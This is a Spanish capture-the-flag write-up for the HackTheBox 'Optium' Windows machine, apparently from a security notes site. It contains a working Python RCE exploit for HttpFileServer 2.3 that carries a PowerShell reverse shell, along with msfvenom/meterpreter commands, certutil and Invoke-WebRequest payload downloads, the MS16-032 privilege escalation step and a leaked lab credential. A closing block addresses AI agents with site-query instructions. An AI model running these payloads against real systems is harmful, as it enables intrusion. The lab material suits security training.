> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md). # Writeup de Optium en HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Explotación de HttpFileServer 2.3 (RCE) * Enumeración del sistema - Windows Exploit Suggester * Windows Server 12 (MS16-032) (Escalada de privilegios) {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

**Comprobación de conectividad VPN** Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

**Descubrimiento de puertos abiertos con Nmap:** Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap: ```bash nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts ```

**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (80)

Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p80 10.10.10.8 -oN targeted ```

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

## **Explotación** ### **Puerto 80 : HttpFileServer 2.3** Se descubrió un servidor web HttpFileServer 2.3. Tras buscar, esta versión es vulnerable a la ejecución remota de código (NCE).

### **Investigación de la explotación** Comando: ```bash searchsploit -m windows/remote/49584.py ``` {% embed url="" %} **Script de Python personalizado**

**Script de Python personalizado** El script debe modificarse para incluir los siguientes parámetros: * `LHOST` : tu IP local (VPN). * `LPORT`: puerto de escucha local (p. ej., 4444). * `RHOST`: IP de destino. * `RPORT`: puerto del servicio vulnerable (p. ej., 80). ```python import base64 import os import urllib.request import urllib.parse lhost = "10.10.14.12" lport = 4444 rhost = "10.10.10.8" rport = 80 # Definir el comando que se escribirá en un archivo command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()' # Codificar el comando en formato base64 encoded_command = base64.b64encode(command.encode("utf-16le")).decode() print("/nComando codificado en formato base64...") # Definir el payload que se incluirá en la URL payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}' # Codificar el payload y enviar una solicitud HTTP GET encoded_payload = urllib.parse.quote_plus(payload) url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}' urllib.request.urlopen(url) print("/nPayload codificado y solicitud HTTP GET enviada al objetivo...") # Imprimir alguna información print("/nImprimiendo información para depuración...") print("lhost: ", lhost) print("lport: ", lport) print("rhost: ", rhost) print("rport: ", rport) print("payload: ", payload) # Escuchar conexiones print("/nEscuchando conexiones...") os.system(f'nc -nlvp {lport}') ``` Escucha en tu máquina: ```bash rlwrap nc -nlvp 4444 ```

### Bandera user.txt :)

## **Escalada de privilegios** ### **Enumeración con winPEAS** Lanzamos la herramienta winPEAS para realizar reconocimiento en la máquina objetivo a través de winrm. El objetivo es descubrir información sensible e identificar posibles vulnerabilidades. {% embed url="" %} **Descargar y ejecutar winPEAS** ``` Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

Esto nos permitió descubrir información crítica, como contraseñas y detalles sobre la versión del sistema operativo.

**Palabras de contraseña descubiertas** `kostas:kdeEjDowkS*` Además, la herramienta reveló que la máquina ejecutaba Windows Server 2012 R2 Standard, una versión vulnerable con un exploit asociado para elevar privilegios a través del kernel.

### Explotación del kernel: Buscamos exploits específicos de Windows Server 2012 R2 para la escalada local de privilegios. El **MS16-032** exploit resultó ser relevante para esta versión de Windows. {% embed url="" %} * **MS16-032** para Windows 2012 R2 (escalada local de privilegios). {% embed url="" %} ### **Shell inversa mediante Metasploit** Luego creamos un archivo a.exe para establecer una shell inversa desde Metasploit. Se siguieron los siguientes pasos: Escuchando en Metasploit: ```bash use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.10.14.12 set LPORT 4444 exploit -j ``` Crear carga útil `shell.exe` con el siguiente comando:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe

Transferir la carga útil usando un servidor HTTP de Python y `certutil`: ```bash python3 -m http.server ``` ```powershell certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe ``` Una vez transferido el archivo, logramos establecer una sesión de Meterpreter (sesión 1).

### **Explotación de la vulnerabilidad MS16-032** Después de obtener acceso a la máquina, buscamos el exploit vulnerable en Metasploit: `exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

Establecimos sesiones, configuramos `LHOST` y `LPORT`y seleccionamos el objetivo Windows x64 para evitar conflictos. Una vez completado el exploit, obtuvimos acceso total al sistema objetivo.

### Flag de root :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.